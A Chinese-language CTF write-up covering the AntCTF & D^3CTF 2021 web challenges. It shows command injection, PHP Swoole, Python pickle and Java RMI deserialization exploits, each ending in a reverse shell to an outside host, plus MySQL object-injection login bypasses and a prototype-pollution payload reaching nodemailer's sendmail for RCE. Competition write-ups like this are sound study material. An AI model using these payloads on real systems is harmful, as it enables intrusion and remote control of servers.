AntCTF&D^3CTF 2021 WEB WP

CTF

发布于：2021年3月12日
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AntCTF&D^3CTF 2021 WEB WP

不愧是蚂蚁SRC和三电联合主办的CTF，质量很顶（太菜了，被虐de太惨了

Pool Calc

考点

简单Node.Js代码审计、简单的反编译、Python Pickle反序列化、PHP Swoole反序列化RCE、JavaRMI反序列化

这是一道需要拿到主机（Node服务）和三个docker flag的合成题，有点可惜，本来做到深夜差个Java就一血了，一觉醒来没了…

Node.Js（主机）

题目给了docker.yml

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version: "3"

services: 
  java_calc: 
    build: ./java_calc
    environment: 
      APP_NAME: "java_calc"
    restart: always
  
  php_calc:
    build: ./php_calc
    environment: 
      APP_NAME: "php_calc"
    restart: always
  
  py_calc: 
    build: ./py_calc
    environment: 
      APP_NAME: "py_calc"
    restart: always
  
  web_app:
    build: ./web_app
    environment: 
      APP_NAME: "web_app"
    ports: 
      - "3000:3000"

感觉没什么用（给选手提前说一下存在四种不同语言的服务？

打开网站，注意到URL的/redirect?filename=index.html

读取app.js，关键代码如下

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const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");

//省略....

app.get("/redirect", (req, res) => {
    let filename = req.query.filename
    res.sendFile(`${__dirname}/` + filename)
})

app.get('/calc', (req, res) => {
    let params = req.query
    var lang = params.language !== undefined ? params.language : "python"

    let calc_client_path = {
        "python": process.env.py_calc_tool_path,
        "php": process.env.php_calc_tool_path,
        "java": process.env.java_calc_tool_path
    }

    if (lang === 'python') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.py_calc_address,
            "port": process.env.py_calc_port
        }
        var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'php') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.php_calc_address,
            "port": process.env.php_calc_port
        }
        var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'java') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.java_calc_address,
            "port": process.env.java_calc_port
        }
        var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    }

    try {
        exec(cmd, ((error, stdout, stderr) => {res.send(stdout)}))
    } catch (e) {
        res.send("Something Error")
    }
})


//省略....

直接就把用户输入拼接到了命令执行语句，弹个shell（可能做了某些限制，不能bash弹，所以用的Python）

/calc?language=python&action=add&a=1&b=1||python+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22ip%22%2cport))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b%27

执行/getflag即可获得第一部分flag

PHP

拿到了主机的webshell，接下来就是读取三个docker的文件了，先看PHP

和RCTF2020一样，考点都是Swoole反序列化，但这里需要用到wupoc师傅的非预期（RCE）

一搜就能找到 https://evi0s.com/2020/06/01/rctf2020-web-writeup/

但自己本地没搭Swoole…..搭了半晚上环境才搞好

主机没有Swoole环境，所以生成不了Payload，但又因为PHP docker在内网，所以只能在本地先生成出反序列化payload，然后去主机上把Payload发送过去

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// Author: Wupco (http://www.wupco.cn/)

// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include('Handler.php');

// bypass %00
function process_serialized($serialized) {
        $new = '';
        $last = 0;
        $current = 0;
        $pattern = '#\bs:([0-9]+):"#';

        while(
            $current < strlen($serialized) &&
            preg_match(
                $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
            )
        )
        {

            $p_start = $matches[0][1];
            $p_start_string = $p_start + strlen($matches[0][0]);
            $length = $matches[1][0];
            $p_end_string = $p_start_string + $length;

            # Check if this really is a serialized string
            if(!(
                strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
            ))
            {
                $current = $p_start_string;
                continue;
            }
            $string = substr($serialized, $p_start_string, $length);

            # Convert every special character to its S representation
            $clean_string = '';
            for($i=0; $i < strlen($string); $i++)
            {
                $letter = $string{$i};
                $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
                ;
            }

            # Make the replacement
            $new .= 
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
            $last = $p_end_string + 2;
            $current = $last;
        }

        $new .= substr($serialized, $last);
        return $new;

}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));

注意需要将Handler.php的类改为Handlep才行

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<?php
$s = urldecode('.....');	//上面生成的Payload
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect('php_calc', 8080, -1)) {
    exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($s);
echo $client->recv();
$client->close();

Python

/app/calc_tools/py/client

下载发现是ELF文件，需要逆一下才能看到client端源码

然后就是pickle反序列化

做到py的时候在/tmp找到了别人写好的POC，那就直接上车（懒狗行为
还有一个小坑点，主机是py2，但docker里是py3，导致前面用py2来运行exp一直没有反弹成功

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import socket, sys, pickle, argparse
import os

class Calculator:
    action = None
    a = None
    b = None

    def __init__(self, action, a, b):
        self.action = action
        self.a = float(a)
        self.b = float(b)
    def __reduce__(self):
        return (os.system,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def generate_data(action, a, b):
    obj = Calculator(action, a, b)
    data = pickle.dumps(obj)
    return data


def send_data(ip, port, pickle_data):
    address = (
     ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        try:
            s.sendall(pickle_data)
            print(pickle_data)
            recv_c = s.recv(1024)
            print(recv_c.decode())
        except Exception:
            s.close()

    finally:
        s.close()


if __name__ == '__main__':
    data = generate_data("add", "1.0", "2.0")
    send_data("py_calc", 8080, data)

java

发现一血没了就没看了，贴贴星盟师傅的WP吧

攻击注册中心：参考 https://xz.aliyun.com/t/8247#toc-7 的AttackRegistryByLookupAndUnicastRef

将该文章中的工具 https://github.com/waderwu/attackRmi 编译上传到服务器，配合JRMPListener（恶意服务）

反弹shell

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java -jar j.jar LAUS 172.20.0.3 8080 172.20.0.5 29001 "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMy4zMS45MC8zMDAwMiAwPiYxICI=}|{base64,-d}|{bash,-i}"

8-bit pub

考点：原型链污染，Node.Js依赖库源码审计

开启Json解析导致登录验证绕过

题目给了源码

先放一下package.json

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{
  "name": "8-bit_pub",
  "version": "1.0.0",
  "private": true,
  "scripts": {
    "start": "node app.js"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "express": "^4.16.4",
    "express-session": "^1.17.1",
    "http-errors": "~1.6.3",
    "mysql": "^2.18.1",
    "nodemailer": "^6.4.18",
    "session-file-store": "^1.5.0",
    "shvl": "^2.0.2"
  }
}

题目需要我们先成为admin才能使用后续的功能，看一下登录功能的代码 /modules/users.js

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signin: function (username, password, done) {
    str = `SELECT * FROM users WHERE username = ${username} AND password = ${password}`
    console.log(str)
    sql.query(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        [username, password],
        function (err, res) {
            if (err) {
                console.log("error: ", err);
                return done(err, null);
            } else {
                return done(null, res);
            }
        }
    );
}

看起来没什么问题，但注意到这里开启了json解析 app.js

image-20210313014435851

在存在sql服务的node网站中支持json解析其实是一件很危险的事，wupco 师傅在其 几则NodeJS的安全问题 一文中就提到过（MongoDB）

而这里的MySQL也存在类似传入Obeject时的安全问题

传入Object

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{"username":"admin","password":{"username":"admin"}}
image-20210313015117782

还可以是

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{"username":"admin","password":{"password":1}}

寻找能污染的RCE漏洞点

接下来审计整个网站的功能点

找到controllers/adminController.js

这个写法非常像原型链污染，不过目前不清楚shvl是什么，先留着

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const send = require("../utils/mail");
const shvl = require("shvl");

module.exports = {
  home: function (req, res) {
    return res.sendView("admin.html");
  },

  email: async function (req, res) {
    let contents = {};

    Object.keys(req.body).forEach((key) => {
      shvl.set(contents, key, req.body[key]);
    });

    contents.from = '"admin" <admin@8-bit.pub>';

    try {
      await send(contents);
      return res.json({message: "Success."});
    } catch (err) {
      return res.status(500).json({ message: err.message });
    }
  },
};

看下adminController，发现admin就只有一个发邮件的功能

作为admin唯一的功能，既然写法没问题，那问题肯定就出在了依赖库

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const nodemailer = require("nodemailer");

async function send(contents) {
  let transporter = nodemailer.createTransport({
  host: "******", // Plz use your own smtp server for testing.
  port: 25,
  tls: { rejectUnauthorized: false },
  auth: {
    user: "******",
    pass: "******",
  },
});
  return transporter.sendMail(contents);
}

module.exports = send;

用到了nodemailer模块，搜一下发现前段时间爆出过RCE

image-20210311205349492

但不是这个版本，去github跟一下漏洞点

传送门

有点长，做一些简化

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'use strict';

const spawn = require('child_process').spawn;
//省略

class SendmailTransport {
    constructor(options) {
        //省略
        this._spawn = spawn;
        //省略
    }

    send(mail, done) {
        let args;
        let sendmail;
        //省略
        if (this.args) {
            // force -i to keep single dots
            args = ['-i'].concat(this.args).concat(envelope.to);
        } else {
            args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);
        }
        //省略
        try {
            sendmail = this._spawn(this.path, args);
        } catch (E) {
            this.logger.error(
                {
                    err: E,
                    tnx: 'spawn',
                    messageId
                },
                'Error occurred while spawning sendmail. %s',
                E.message
            );
            return callback(E);
        }
        //省略
    }
}

module.exports = SendmailTransport;

很明显，命令执行处sendmail = this._spawn(this.path, args);的两个参数都能被污染到，RCE可行

然后再看一下上面找到的shvl是什么情况

image-20210312153123317

醒目的Prototype Pollution，但由上面package.json可知，库版本不对，那就继续跟一下github源码库，看看漏洞点做了什么修改

漏洞代码 传送门

image-20210312154429982

修复后 传送门

image-20210312154507751

就ban掉了__proto__

想起了NCTF2020的PackageManager v2

image-20210312154844131

话说上面那道题的child_process建立子进程，朱古力学长在先知也发过分析 传送门

寻找利用链

现在还有个问题，如何去触发这个send函数呢？

找到nodemailer模块的/lib/mailer/index.js ，sendMail函数

image-20210313012413440

这里调用到了send，那么跟进一下this.transporter

image-20210313012557333

只要实例化的时候传入SendmailTransport，就能在调用sendMail函数时调用到SendmailTransport里的send函数了

因为上面的调用过程是在sendMail函数里面，所以需要我们找到能调用到sendMail和传入transporter为SendmailTransport的地方

再回头看一下题目源码utils/mail.js

image-20210313013057649

那这里也不愁sendMail的调用了，只需要找到将传入的transporter赋值为SendmailTransport类的实例化对象即可完成整个攻击链

跟一下上面的createTransport

image-20210313013456316

只要存在options.sendmail就能将transporter赋值为SendmailTransporter的对象

毫无疑问，这也是能污染到的

最终payload

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{
"constructor.prototype.sendmail": 1,
"constructor.prototype.shell": "/bin/sh", "constructor.prototype.path": "evil code", "constructor.prototype.args": [""
]}

剩下的就是一堆Java了。初学Java安全，刚好当天又是20级招新结束，所以比赛的时候后面的就没看了，有空去复现Orz….

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本文永久链接是：http://pipinstall.cn/2021/03/12/2021%20AntCTF&D^3CTF/

更新于：2021年9月6日

Python

Node.Js

PHP

Java

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